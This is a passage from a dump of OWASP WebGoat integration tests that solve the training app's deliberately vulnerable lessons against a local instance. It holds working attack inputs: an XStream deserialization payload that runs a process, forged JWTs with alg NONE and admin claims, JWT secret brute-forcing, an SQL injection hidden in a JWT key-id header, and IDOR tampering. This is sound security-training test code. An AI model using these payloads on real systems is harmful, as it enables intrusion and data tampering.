(StringUtils.hasText(System.getProperty(\"running.in.docker\"))) {\n      String solution =\n          \"<contact class='dynamic-proxy'>\\n\"\n              + \"<interface>org.owasp.webgoat.lessons.vulnerablecomponents.Contact</interface>\\n\"\n              + \"  <handler class='java.beans.EventHandler'>\\n\"\n              + \"    <target class='java.lang.ProcessBuilder'>\\n\"\n              + \"      <command>\\n\"\n              + \"        <string>calc.exe</string>\\n\"\n              + \"      </command>\\n\"\n              + \"    </target>\\n\"\n              + \"    <action>start</action>\\n\"\n              + \"  </handler>\\n\"\n              + \"</contact>\";\n      startLesson(\"VulnerableComponents\");\n      Map<String, Object> params = new HashMap<>();\n      params.clear();\n      params.put(\"payload\", solution);\n      checkAssignment(url(\"/WebGoat/VulnerableComponents/attack1\"), params, true);\n      checkResults(\"/VulnerableComponents/\");\n    }\n  }\n\n  @Test\n  public void insecureLogin() {\n    startLesson(\"InsecureLogin\");\n    Map<String, Object> params = new HashMap<>();\n    params.clear();\n    params.put(\"username\", \"CaptainJack\");\n    params.put(\"password\", \"BlackPearl\");\n    checkAssignment(url(\"/WebGoat/InsecureLogin/task\"), params, true);\n    checkResults(\"/InsecureLogin/\");\n  }\n\n  @Test\n  public void securePasswords() {\n    startLesson(\"SecurePasswords\");\n    Map<String, Object> params = new HashMap<>();\n    params.clear();\n    params.put(\"password\", \"ajnaeliclm^&&@kjn.\");\n    checkAssignment(url(\"/WebGoat/SecurePasswords/assignment\"), params, true);\n    checkResults(\"SecurePasswords/\");\n\n    startLesson(\"AuthBypass\");\n    params.clear();\n    params.put(\"secQuestion2\", \"John\");\n    params.put(\"secQuestion3\", \"Main\");\n    params.put(\"jsEnabled\", \"1\");\n    params.put(\"verifyMethod\", \"SEC_QUESTIONS\");\n    params.put(\"userId\", \"12309746\");\n    checkAssignment(url(\"/WebGoat/auth-bypass/verify-account\"), params, true);\n    checkResults(\"/auth-bypass/\");\n\n    startLesson(\"HttpProxies\");\n    MatcherAssert.assertThat(\n        RestAssured.given()\n            .when()\n            .relaxedHTTPSValidation()\n            .cookie(\"JSESSIONID\", getWebGoatCookie())\n            .header(\"x-request-intercepted\", \"true\")\n            .contentType(ContentType.JSON)\n            .get(\n                url(\"/WebGoat/HttpProxies/intercept-request?changeMe=Requests are tampered easily\"))\n            .then()\n            .statusCode(200)\n            .extract()\n            .path(\"lessonCompleted\"),\n        CoreMatchers.is(true));\n    checkResults(\"/HttpProxies/\");\n  }\n\n  @Test\n  public void chrome() {\n    startLesson(\"ChromeDevTools\");\n\n    Map<String, Object> params = new HashMap<>();\n    params.clear();\n    params.put(\"param1\", \"42\");\n    params.put(\"param2\", \"24\");\n\n    String result =\n        RestAssured.given()\n            .when()\n            .relaxedHTTPSValidation()\n            .cookie(\"JSESSIONID\", getWebGoatCookie())\n            .header(\"webgoat-requested-by\", \"dom-xss-vuln\")\n            .header(\"X-Requested-With\", \"XMLHttpRequest\")\n            .formParams(params)\n            .post(url(\"/WebGoat/CrossSiteScripting/phone-home-xss\"))\n            .then()\n            .statusCode(200)\n            .extract()\n            .path(\"output\");\n    String secretNumber = result.substring(\"phoneHome Response is \".length());\n\n    params.clear();\n    params.put(\"successMessage\", secretNumber);\n    checkAssignment(url(\"/WebGoat/ChromeDevTools/dummy\"), params, true);\n\n    params.clear();\n    params.put(\"number\", \"24\");\n    params.put(\"network_num\", \"24\");\n    checkAssignment(url(\"/WebGoat/ChromeDevTools/network\"), params, true);\n\n    checkResults(\"/ChromeDevTools/\");\n  }\n\n  @Test\n  public void authByPass() {\n    startLesson(\"AuthBypass\");\n    Map<String, Object> params = new HashMap<>();\n    params.clear();\n    params.put(\"secQuestion2\", \"John\");\n    params.put(\"secQuestion3\", \"Main\");\n    params.put(\"jsEnabled\", \"1\");\n    params.put(\"verifyMethod\", \"SEC_QUESTIONS\");\n    params.put(\"userId\", \"12309746\");\n    checkAssignment(url(\"/auth-bypass/verify-account\"), params, true);\n    checkResults(\"/auth-bypass/\");\n  }\n\n  @Test\n  public void lessonTemplate() {\n    startLesson(\"LessonTemplate\");\n    Map<String, Object> params = new HashMap<>();\n    params.clear();\n    params.put(\"param1\", \"secr37Value\");\n    params.put(\"param2\", \"Main\");\n    checkAssignment(url(\"/lesson-template/sample-attack\"), params, true);\n    checkResults(\"/lesson-template/\");\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/IDORIntegrationTest.java",
    "content": "package org.owasp.webgoat;\n\n\nimport static org.junit.jupiter.api.DynamicTest.dynamicTest;\n\nimport java.io.IOException;\nimport java.util.Arrays;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.hamcrest.CoreMatchers;\nimport org.hamcrest.MatcherAssert;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.DynamicTest;\nimport org.junit.jupiter.api.TestFactory;\n\nimport io.restassured.RestAssured;\nimport io.restassured.http.ContentType;\nimport lombok.SneakyThrows;\n\npublic class IDORIntegrationTest extends IntegrationTest {\n\t\n\t@BeforeEach\n    @SneakyThrows\n    public void init() {\n    \tstartLesson(\"IDOR\");        \n    }\n\n    @TestFactory\n    Iterable<DynamicTest> testIDORLesson() {\n    \treturn Arrays.asList(\n    \t\t\tdynamicTest(\"login\",()-> loginIDOR()),\n    \t\t\tdynamicTest(\"profile\", () -> profile())\n    \t\t\t);\n    }\n\t\n    @AfterEach\n    public void shutdown() throws IOException {\n        checkResults(\"/IDOR\");        \n    }\n    \n    private void loginIDOR() throws IOException {\n    \t\n    \tMap<String, Object> params = new HashMap<>();\n        params.clear();\n        params.put(\"username\", \"tom\");\n        params.put(\"password\", \"cat\");\n       \n    \t\n        checkAssignment(url(\"/WebGoat/IDOR/login\"), params, true);\n        \t\n    }\n    \n    private void profile() {\n    \tMatcherAssert.assertThat(\n                RestAssured.given()\n                        .when()\n                        .relaxedHTTPSValidation()\n                        .cookie(\"JSESSIONID\", getWebGoatCookie())\n                        .get(url(\"/WebGoat/IDOR/profile\"))\n                        .then()\n                        .statusCode(200)\n                        .extract().path(\"userId\"), CoreMatchers.is(\"2342384\"));\n    \tMap<String, Object> params = new HashMap<>();\n    \tparams.clear();\n        params.put(\"attributes\", \"userId,role\");\n        checkAssignment(url(\"/WebGoat/IDOR/diff-attributes\"), params, true);\n        params.clear();\n        params.put(\"url\", \"WebGoat/IDOR/profile/2342384\");\n        checkAssignment(url(\"/WebGoat/IDOR/profile/alt-path\"), params, true);\n        \n        MatcherAssert.assertThat(\n                RestAssured.given()\n                        .when()\n                        .relaxedHTTPSValidation()\n                        .cookie(\"JSESSIONID\", getWebGoatCookie())\n                        .get(url(\"/WebGoat/IDOR/profile/2342388\"))\n                        .then()\n                        .statusCode(200)\n                        .extract().path(\"lessonCompleted\"), CoreMatchers.is(true));\n        \n        MatcherAssert.assertThat(\n                RestAssured.given()\n                        .when()\n                        .relaxedHTTPSValidation()\n                        .cookie(\"JSESSIONID\", getWebGoatCookie())    \n                        .contentType(ContentType.JSON) //part of the lesson\n                        .body(\"{\\\"role\\\":\\\"1\\\", \\\"color\\\":\\\"red\\\", \\\"size\\\":\\\"large\\\", \\\"name\\\":\\\"Buffalo Bill\\\", \\\"userId\\\":\\\"2342388\\\"}\")\n                        .put(url(\"/WebGoat/IDOR/profile/2342388\"))\n                        .then()\n                        .statusCode(200)\n                        .extract().path(\"lessonCompleted\"), CoreMatchers.is(true));       \n        \n        \n    }\n    \n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/IntegrationTest.java",
    "content": "package org.owasp.webgoat;\n\nimport io.restassured.RestAssured;\nimport io.restassured.http.ContentType;\nimport lombok.Getter;\nimport org.hamcrest.CoreMatchers;\nimport org.hamcrest.MatcherAssert;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\n\nimport java.util.Map;\nimport java.util.Objects;\n\nimport static io.restassured.RestAssured.given;\n\npublic abstract class IntegrationTest {\n\n    private static String webGoatPort = Objects.requireNonNull(System.getProperty(\"webgoatport\"));\n    @Getter\n    private static String webWolfPort = Objects.requireNonNull(System.getProperty(\"webwolfport\"));\n    private static boolean useSSL = false;\n    private static String webgoatUrl = (useSSL ? \"https:\" : \"http:\") + \"//localhost:\" + webGoatPort + \"/WebGoat/\";\n    private static String webWolfUrl = (useSSL ? \"https:\" : \"http:\") + \"//localhost:\" + webWolfPort + \"/\";\n    @Getter\n    private String webGoatCookie;\n    @Getter\n    private String webWolfCookie;\n    @Getter\n    private String user = \"webgoat\";\n\n    protected String url(String url) {\n        url = url.replaceFirst(\"/WebGoat/\", \"\");\n        url = url.replaceFirst(\"/WebGoat\", \"\");\n        url = url.startsWith(\"/\") ? url.replaceFirst(\"/\", \"\") : url;\n        return webgoatUrl + url;\n    }\n\n    protected String webWolfUrl(String url) {\n        url = url.replaceFirst(\"/WebWolf/\", \"\");\n        url = url.replaceFirst(\"/WebWolf\", \"\");\n        url = url.startsWith(\"/\") ? url.replaceFirst(\"/\", \"\") : url;\n        return webWolfUrl + url;\n    }\n\n    @BeforeEach\n    public void login() {\n        String location = given()\n                .when()\n                .relaxedHTTPSValidation()\n                .formParam(\"username\", user)\n                .formParam(\"password\", \"password\")\n                .post(url(\"login\")).then()\n                .cookie(\"JSESSIONID\")\n                .statusCode(302)\n                .extract().header(\"Location\");\n        if (location.endsWith(\"?error\")) {\n            webGoatCookie = RestAssured.given()\n                    .when()\n                    .relaxedHTTPSValidation()\n                    .formParam(\"username\", user)\n                    .formParam(\"password\", \"password\")\n                    .formParam(\"matchingPassword\", \"password\")\n                    .formParam(\"agree\", \"agree\")\n                    .post(url(\"register.mvc\"))\n                    .then()\n                    .cookie(\"JSESSIONID\")\n                    .statusCode(302)\n                    .extract()\n                    .cookie(\"JSESSIONID\");\n        } else {\n            webGoatCookie = given()\n                    .when()\n                    .relaxedHTTPSValidation()\n                    .formParam(\"username\", user)\n                    .formParam(\"password\", \"password\")\n                    .post(url(\"login\")).then()\n                    .cookie(\"JSESSIONID\")\n                    .statusCode(302)\n                    .extract().cookie(\"JSESSIONID\");\n        }\n\n        webWolfCookie = RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .formParam(\"username\", user)\n                .formParam(\"password\", \"password\")\n                .post(webWolfUrl(\"login\"))\n                .then()\n                .statusCode(302)\n                .cookie(\"WEBWOLFSESSION\")\n                .extract()\n                .cookie(\"WEBWOLFSESSION\");\n    }\n\n    @AfterEach\n    public void logout() {\n        RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .get(url(\"logout\"))\n                .then()\n                .statusCode(200);\n    }\n\n    public void startLesson(String lessonName) {\n        startLesson(lessonName, false);\n    }\n\n    public void startLesson(String lessonName, boolean restart) {\n        RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .cookie(\"JSESSIONID\", getWebGoatCookie())\n                .get(url(lessonName + \".lesson.lesson\"))\n                .then()\n                .statusCode(200);\n\n        if (restart) {\n            RestAssured.given()\n                    .when()\n                    .relaxedHTTPSValidation()\n                    .cookie(\"JSESSIONID\", getWebGoatCookie())\n                    .get(url(\"service/restartlesson.mvc\"))\n                    .then()\n                    .statusCode(200);\n        }\n    }\n\n    public void checkAssignment(String url, Map<String, ?> params, boolean expectedResult) {\n        MatcherAssert.assertThat(\n                RestAssured.given()\n                        .when()\n                        .relaxedHTTPSValidation()\n                        .cookie(\"JSESSIONID\", getWebGoatCookie())\n                        .formParams(params)\n                        .post(url)\n                        .then()\n                        .statusCode(200)\n                        .extract().path(\"lessonCompleted\"), CoreMatchers.is(expectedResult));\n    }\n\n    public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {\n        MatcherAssert.assertThat(\n                RestAssured.given()\n                        .when()\n                        .relaxedHTTPSValidation()\n                        .cookie(\"JSESSIONID\", getWebGoatCookie())\n                        .formParams(params)\n                        .put(url)\n                        .then()\n                        .statusCode(200)\n                        .extract().path(\"lessonCompleted\"), CoreMatchers.is(expectedResult));\n    }\n\n    //TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are only required to be in the same package)\n    public void checkResults(String prefix) {\n        checkResults();\n\n        MatcherAssert.assertThat(RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .cookie(\"JSESSIONID\", getWebGoatCookie())\n                .get(url(\"service/lessonoverview.mvc\"))\n                .then()\n                .statusCode(200).extract().jsonPath().getList(\"assignment.path\"), CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));\n\n    }\n\n    public void checkResults() {\n        var result = RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .cookie(\"JSESSIONID\", getWebGoatCookie())\n                .get(url(\"service/lessonoverview.mvc\"))\n                .andReturn();\n\n        MatcherAssert.assertThat(result.then()\n                .statusCode(200).extract().jsonPath().getList(\"solved\"), CoreMatchers.everyItem(CoreMatchers.is(true)));\n    }\n\n    public void checkAssignment(String url, ContentType contentType, String body, boolean expectedResult) {\n        MatcherAssert.assertThat(\n                RestAssured.given()\n                        .when()\n                        .relaxedHTTPSValidation()\n                        .contentType(contentType)\n                        .cookie(\"JSESSIONID\", getWebGoatCookie())\n                        .body(body)\n                        .post(url)\n                        .then()\n                        .statusCode(200)\n                        .extract().path(\"lessonCompleted\"), CoreMatchers.is(expectedResult));\n    }\n\n    public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {\n        MatcherAssert.assertThat(\n                RestAssured.given()\n                        .when()\n                        .relaxedHTTPSValidation()\n                        .cookie(\"JSESSIONID\", getWebGoatCookie())\n                        .queryParams(params)\n                        .get(url)\n                        .then()\n                        .statusCode(200)\n                        .extract().path(\"lessonCompleted\"), CoreMatchers.is(expectedResult));\n    }\n\n    public String getWebWolfFileServerLocation() {\n        String result = RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .cookie(\"WEBWOLFSESSION\", getWebWolfCookie())\n                .get(webWolfUrl(\"/file-server-location\"))\n                .then()\n                .extract().response().getBody().asString();\n        result = result.replace(\"%20\", \" \");\n        return result;\n    }\n\n    public String webGoatServerDirectory() {\n        return RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .cookie(\"JSESSIONID\", getWebGoatCookie())\n                .get(url(\"/server-directory\"))\n                .then()\n                .extract().response().getBody().asString();\n    }\n\n}\n\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/JWTLessonIntegrationTest.java",
    "content": "package org.owasp.webgoat;\n\nimport java.io.IOException;\nimport java.nio.charset.Charset;\nimport java.security.InvalidKeyException;\nimport java.security.NoSuchAlgorithmException;\nimport java.time.Instant;\nimport java.util.Base64;\nimport java.util.Calendar;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.hamcrest.CoreMatchers;\nimport org.hamcrest.MatcherAssert;\nimport org.junit.jupiter.api.Test;\n\nimport com.fasterxml.jackson.databind.JsonNode;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport com.fasterxml.jackson.databind.node.ObjectNode;\n\nimport io.jsonwebtoken.Header;\nimport io.jsonwebtoken.JwsHeader;\nimport io.jsonwebtoken.Jwt;\nimport io.jsonwebtoken.JwtException;\nimport io.jsonwebtoken.Jwts;\nimport io.jsonwebtoken.SignatureAlgorithm;\nimport io.jsonwebtoken.impl.TextCodec;\nimport io.restassured.RestAssured;\nimport org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;\n\npublic class JWTLessonIntegrationTest extends IntegrationTest {\n\t\n    @Test\n    public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException {\n    \tstartLesson(\"JWT\");\n\n    \tdecodingToken();\n  \n        resetVotes();\n                \n        findPassword();\n        \n        buyAsTom();\n        \n        deleteTom();\n\n\t\tquiz();\n        \n        checkResults(\"/JWT/\");\n    }\n    \n    private String generateToken(String key) {\n    \t\n    \treturn Jwts.builder()\n\t\t.setIssuer(\"WebGoat Token Builder\")\n\t\t.setAudience(\"webgoat.org\")\n\t\t.setIssuedAt(Calendar.getInstance().getTime())\n\t\t.setExpiration(Date.from(Instant.now().plusSeconds(60)))\n\t\t.setSubject(\"tom@webgoat.org\")\n\t\t.claim(\"username\", \"WebGoat\")\n\t\t.claim(\"Email\", \"tom@webgoat.org\")\n\t\t.claim(\"Role\", new String[] {\"Manager\", \"Project Administrator\"})\n\t\t.signWith(SignatureAlgorithm.HS256, key).compact();\n    }\n    \n    private String getSecretToken(String token) {\n    \tfor (String key : JWTSecretKeyEndpoint.SECRETS) {\n    \t\ttry {\n    \t\t\tJwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token);\n    \t\t} catch (JwtException e) {\n    \t\t\tcontinue;\n    \t\t}\n    \t\treturn TextCodec.BASE64.encode(key);\n    \t}\n    \treturn null;\n    }\n\n\tprivate void decodingToken() {\n\t\tMatcherAssert.assertThat(\n\t\t\t\tRestAssured.given()\n\t\t\t\t\t\t.when()\n\t\t\t\t\t\t.relaxedHTTPSValidation()\n\t\t\t\t\t\t.cookie(\"JSESSIONID\", getWebGoatCookie())\n\t\t\t\t\t\t.formParam(\"jwt-encode-user\", \"user\")\n\t\t\t\t\t\t.post(url(\"/WebGoat/JWT/decode\"))\n\t\t\t\t\t\t.then()\n\t\t\t\t\t\t.statusCode(200)\n\t\t\t\t\t\t.extract().path(\"lessonCompleted\"), CoreMatchers.is(true));\n\n\t}\n    \n    private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException {\n    \t\n    \tString accessToken = RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .cookie(\"JSESSIONID\", getWebGoatCookie())\n                .get(url(\"/WebGoat/JWT/secret/gettoken\"))\n                .then()\n                .extract().response().asString();\n    \t\n    \tString secret = getSecretToken(accessToken);\n    \t\n    \tMatcherAssert.assertThat(\n                RestAssured.given()\n                        .when()\n                        .relaxedHTTPSValidation()\n                        .cookie(\"JSESSIONID\", getWebGoatCookie())\n                        .formParam(\"token\", generateToken(secret))\n                        .post(url(\"/WebGoat/JWT/secret\"))\n                        .then()\n                        .statusCode(200)\n                        .extract().path(\"lessonCompleted\"), CoreMatchers.is(true));\n    \t\n    }\n    \n    private void resetVotes() throws IOException {\n    \tString accessToken = RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .cookie(\"JSESSIONID\", getWebGoatCookie())\n                .get(url(\"/WebGoat/JWT/votings/login?user=Tom\"))\n                .then()\n                .extract().cookie(\"access_token\");\n\n        String header = accessToken.substring(0, accessToken.indexOf(\".\"));\n        header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));\n        \n        String body = accessToken.substring(1+accessToken.indexOf(\".\"), accessToken.lastIndexOf(\".\"));\n        body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));\n\n        ObjectMapper mapper = new ObjectMapper();\n        JsonNode headerNode = mapper.readTree(header);\n        headerNode = ((ObjectNode) headerNode).put(\"alg\",\"NONE\");\n\n        JsonNode bodyObject = mapper.readTree(body);\n        bodyObject = ((ObjectNode) bodyObject).put(\"admin\",\"true\");\n        \n        String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))\n        \t\t.concat(\".\")\n        \t\t.concat(new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes())).toString())\n        \t\t.concat(\".\").replace(\"=\", \"\");\n        \n        MatcherAssert.assertThat(\n                RestAssured.given()\n                        .when()\n                        .relaxedHTTPSValidation()\n                        .cookie(\"JSESSIONID\", getWebGoatCookie())\n                        .cookie(\"access_token\", replacedToken)\n                        .post(url(\"/WebGoat/JWT/votings\"))\n                        .then()\n                        .statusCode(200)\n                        .extract().path(\"lessonCompleted\"), CoreMatchers.is(true));\n    }\n    \n\tprivate void buyAsTom() throws IOException {\n\t\t\n\t\tString header = new String(Base64.getUrlDecoder().decode(\"eyJhbGciOiJIUzUxMiJ9\".getBytes(Charset.defaultCharset())));\n\n\t\tString body = new String(Base64.getUrlDecoder().decode(\"eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0\".getBytes(Charset.defaultCharset())));\n\n\t\tbody = body.replace(\"Jerry\", \"Tom\");\n\t\t\n\t\tObjectMapper mapper = new ObjectMapper();\n\t\tJsonNode headerNode = mapper.readTree(header);\n\t\theaderNode = ((ObjectNode) headerNode).put(\"alg\", \"NONE\");\n\n\t\tString replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes())).concat(\".\")\n\t\t\t\t.concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())\n\t\t\t\t.concat(\".\").replace(\"=\", \"\");\n\n\t\tMatcherAssert.assertThat(RestAssured.given()\n\t\t\t\t.when().relaxedHTTPSValidation()\n\t\t\t\t.cookie(\"JSESSIONID\", getWebGoatCookie())\n\t\t\t\t.header(\"Authorization\",\"Bearer \"+replacedToken)\n\t\t\t\t.post(url(\"/WebGoat/JWT/refresh/checkout\"))\n\t\t\t\t.then().statusCode(200)\n\t\t\t\t.extract().path(\"lessonCompleted\"), CoreMatchers.is(true));\n\t}\n\t\n\tprivate void deleteTom() {\n\t\t\n\t\tMap<String, Object> header = new HashMap();\n\t\t  header.put(Header.TYPE, Header.JWT_TYPE);\n\t\t  header.put(JwsHeader.KEY_ID, \"hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --\");\n\t\tString token = Jwts.builder()\n\t\t\t\t.setHeader(header)\n\t\t\t\t.setIssuer(\"WebGoat Token Builder\")\n\t\t\t\t.setAudience(\"webgoat.org\")\n\t\t\t\t.setIssuedAt(Calendar.getInstance().getTime())\n\t\t\t\t.setExpiration(Date.from(Instant.now().plusSeconds(60)))\n\t\t\t\t.setSubject(\"tom@webgoat.org\")\n\t\t\t\t.claim(\"username\", \"Tom\")\n\t\t\t\t.claim(\"Email\", \"tom@webgoat.org\")\n\t\t\t\t.claim(\"Role\", new String[] {\"Manager\", \"Project Administrator\"})\n\t\t\t\t.signWith(SignatureAlgorithm.HS256, \"deletingTom\").compact();\n\t\t\n\t\tMatcherAssert.assertThat(RestAssured.given()\n\t\t\t\t.when().relaxedHTTPSValidation()\n\t\t\t\t.cookie(\"JSESSIONID\", getWebGoatCookie())\n\t\t\t\t.post(url(\"/WebGoat/JWT/final/delete?token=\"+token))\n\t\t\t\t.then()\n\t\t\t\t.statusCode(200)\n\t\t\t\t.extract().path(\"lessonCompleted\"), CoreMatchers.is(true));\n\t}\n\n\tprivate void quiz() { \n\t\tMap<String, Object> params = new HashMap<>();\n\t\tparams.put(\"question_0_solution\", \"Solution 1\");\n\t\tparams.put(\"question_1_solution\", \"Solution 2\");\n\n\t\tcheckAssignment(url(\"/WebGoat/JWT/quiz\"), params, true);\n\t}\n    \n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/LabelAndHintIntegrationTest.java",
    "content": "package org.owasp.webgoat;\n\nimport io.restassured.RestAssured;\nimport io.restassured.http.ContentType;\nimport io.restassured.path.json.JsonPath;\nimport org.junit.jupiter.api.Assertions;\nimport org.junit.jupiter.api.Test;\n\nimport java.io.FileInputStream;\nimport java.io.InputStream;\nimport java.util.List;\nimport java.util.Properties;\n\npublic class LabelAndHintIntegrationTest extends IntegrationTest {\n\n    final static String ESCAPE_JSON_PATH_CHAR = \"\\'\";\n\n    @Test\n    public void testSingleLabel() {\n        Assertions.assertTrue(true);\n        JsonPath jsonPath = RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .contentType(ContentType.JSON)\n                .header(\"Accept-Language\",\"en\")\n                .cookie(\"JSESSIONID\", getWebGoatCookie())\n                .get(url(\"service/labels.mvc\")).then().statusCode(200).extract().jsonPath();\n\n        Assertions.assertEquals(\"Try again: but this time enter a value before hitting go.\", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+\"http-basics.close\"+ESCAPE_JSON_PATH_CHAR));\n\n        // check if lang parameter overrules Accept-Language parameter\n        jsonPath = RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .contentType(ContentType.JSON)\n                .header(\"Accept-Language\",\"en\")\n                .cookie(\"JSESSIONID\", getWebGoatCookie())\n                .get(url(\"service/labels.mvc?lang=nl\")).then().statusCode(200).extract().jsonPath();\n        Assertions.assertEquals(\"Gebruikersnaam\", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+\"username\"+ESCAPE_JSON_PATH_CHAR));\n\n        jsonPath = RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .contentType(ContentType.JSON)\n                .header(\"Accept-Language\",\"en\")\n                .cookie(\"JSESSIONID\", getWebGoatCookie())\n                .get(url(\"service/labels.mvc?lang=de\")).then().statusCode(200).extract().jsonPath();\n        Assertions.assertEquals(\"Benutzername\", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+\"username\"+ESCAPE_JSON_PATH_CHAR));\n\n        // check if invalid language returns english\n        jsonPath = RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .contentType(ContentType.JSON)\n                .header(\"Accept-Language\",\"nl\")\n                .cookie(\"JSESSIONID\", getWebGoatCookie())\n                .get(url(\"service/labels.mvc?lang=xx\")).then().statusCode(200).extract().jsonPath();\n        Assertions.assertEquals(\"Username\", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+\"username\"+ESCAPE_JSON_PATH_CHAR));\n\n        // check if invalid language returns english\n        jsonPath = RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .contentType(ContentType.JSON)\n                .header(\"Accept-Language\",\"xx_YY\")\n                .cookie(\"JSESSIONID\", getWebGoatCookie())\n                .get(url(\"service/labels.mvc\")).then().statusCode(200).extract().jsonPath();\n        Assertions.assertEquals(\"Username\", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+\"username\"+ESCAPE_JSON_PATH_CHAR));\n\n    }\n\n    @Test\n    public void testHints() {\n        JsonPath jsonPathLabels = getLabels(\"en\");\n        List<String> allLessons = List.of(\n                \"HttpBasics\",\n                \"HttpProxies\", \"CIA\", \"InsecureLogin\", \"Cryptography\", \"PathTraversal\",\n                \"XXE\", \"JWT\", \"IDOR\", \"SSRF\", \"WebWolfIntroduction\", \"CrossSiteScripting\", \"CSRF\", \"HijackSession\",\n                \"SqlInjection\", \"SqlInjectionMitigations\" ,\"SqlInjectionAdvanced\",\n                \"Challenge1\");\n        for (String lesson: allLessons) {\n            startLesson(lesson);\n            List<String> hintKeys = getHints();\n            for (String key : hintKeys) {\n                String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);\n                //System.out.println(\"key: \" + key + \" ,value: \" + keyValue);\n                Assertions.assertNotNull(keyValue);\n                Assertions.assertNotEquals(key, keyValue);\n            }\n        }\n        //Assertions.assertEquals(\"http-basics.hints.http_basics_lesson.1\", \"\"+jsonPath.getList(\"hint\").get(0));\n    }\n\n    @Test\n    public void testLabels() {\n\n        JsonPath jsonPathLabels = getLabels(\"en\");\n        Properties propsDefault = getProperties(\"\");\n        for (String key: propsDefault.stringPropertyNames()) {\n            String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR);\n            Assertions.assertNotNull(keyValue);\n        }\n        checkLang(propsDefault,\"nl\");\n        checkLang(propsDefault,\"de\");\n        checkLang(propsDefault,\"fr\");\n        checkLang(propsDefault,\"ru\");\n\n    }\n\n    private Properties getProperties(String lang) {\n        Properties prop = null;\n        if (lang == null || lang.equals(\"\")) { lang = \"\"; } else { lang = \"_\"+lang; }\n        try (InputStream input = new FileInputStream(\"src/main/resources/i18n/messages\"+lang+\".properties\")) {\n\n            prop = new Properties();\n            // load a properties file\n            prop.load(input);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        return prop;\n    }\n\n    private void checkLang(Properties propsDefault, String lang) {\n        JsonPath jsonPath = getLabels(lang);\n        Properties propsLang = getProperties(lang);\n\n        for (String key: propsLang.stringPropertyNames()) {\n            if (!propsDefault.containsKey(key)) {\n                System.err.println(\"key: \" + key + \" in (\" +lang+\") is missing from default properties\");\n                Assertions.fail();\n            }\n            if (!jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR).equals(propsLang.get(key))) {\n                System.out.println(\"key: \" + key + \" in (\" +lang+\") has incorrect translation in label service\");\n                System.out.println(\"actual:\"+jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR));\n                System.out.println(\"expected: \"+propsLang.getProperty(key));\n                System.out.println();\n                Assertions.fail();\n            }\n        }\n    }\n\n    private JsonPath getLabels(String lang) {\n        return RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .contentType(ContentType.JSON)\n                .header(\"Accept-Language\",lang)\n                .cookie(\"JSESSIONID\", getWebGoatCookie())\n                //.log().headers()\n                .get(url(\"service/labels.mvc\"))\n                .then()\n                //.log().all()\n                .statusCode(200).extract().jsonPath();\n    }\n\n    private List<String> getHints() {\n        JsonPath jsonPath = RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .contentType(ContentType.JSON)\n                .cookie(\"JSESSIONID\", getWebGoatCookie())\n                .get(url(\"service/hint.mvc\"))\n                .then()\n                //.log().all()\n                .statusCode(200).extract().jsonPath();\n        return jsonPath.getList(\"hint\");\n    }\n\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/PasswordResetLessonIntegrationTest.java",
